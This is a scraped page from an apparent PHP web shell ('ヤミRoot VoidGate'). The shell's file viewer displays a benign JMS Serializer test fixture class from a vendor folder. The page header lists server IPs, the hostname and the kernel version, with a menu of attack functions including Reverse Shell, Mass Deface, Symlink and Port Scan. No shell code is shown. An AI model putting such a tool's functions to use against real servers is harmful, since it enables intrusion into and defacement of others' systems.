ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Fixtures
/
Viewing: CircularReferenceParent.php
<?php namespace JMS\Serializer\Tests\Fixtures; use Doctrine\Common\Collections\ArrayCollection; use JMS\Serializer\Annotation\PostDeserialize; use JMS\Serializer\Annotation\Type; /** No annotation */ class CircularReferenceParent { /** @Type("array<JMS\Serializer\Tests\Fixtures\CircularReferenceChild>") */ protected $collection = array(); /** @Type("ArrayCollection<JMS\Serializer\Tests\Fixtures\CircularReferenceChild>") */ private $anotherCollection; public function __construct() { $this->collection[] = new CircularReferenceChild('child1', $this); $this->collection[] = new CircularReferenceChild('child2', $this); $this->anotherCollection = new ArrayCollection(); $this->anotherCollection->add(new CircularReferenceChild('child1', $this)); $this->anotherCollection->add(new CircularReferenceChild('child2', $this)); } /** @PostDeserialize */ private function afterDeserialization() { if (!$this->collection) { $this->collection = array(); } foreach ($this->collection as $v) { $v->setParent($this); } if (!$this->anotherCollection) { $this->anotherCollection = new ArrayCollection(); } foreach ($this->anotherCollection as $v) { $v->setParent($this); } } }
Coded With 💗 by
0x6ick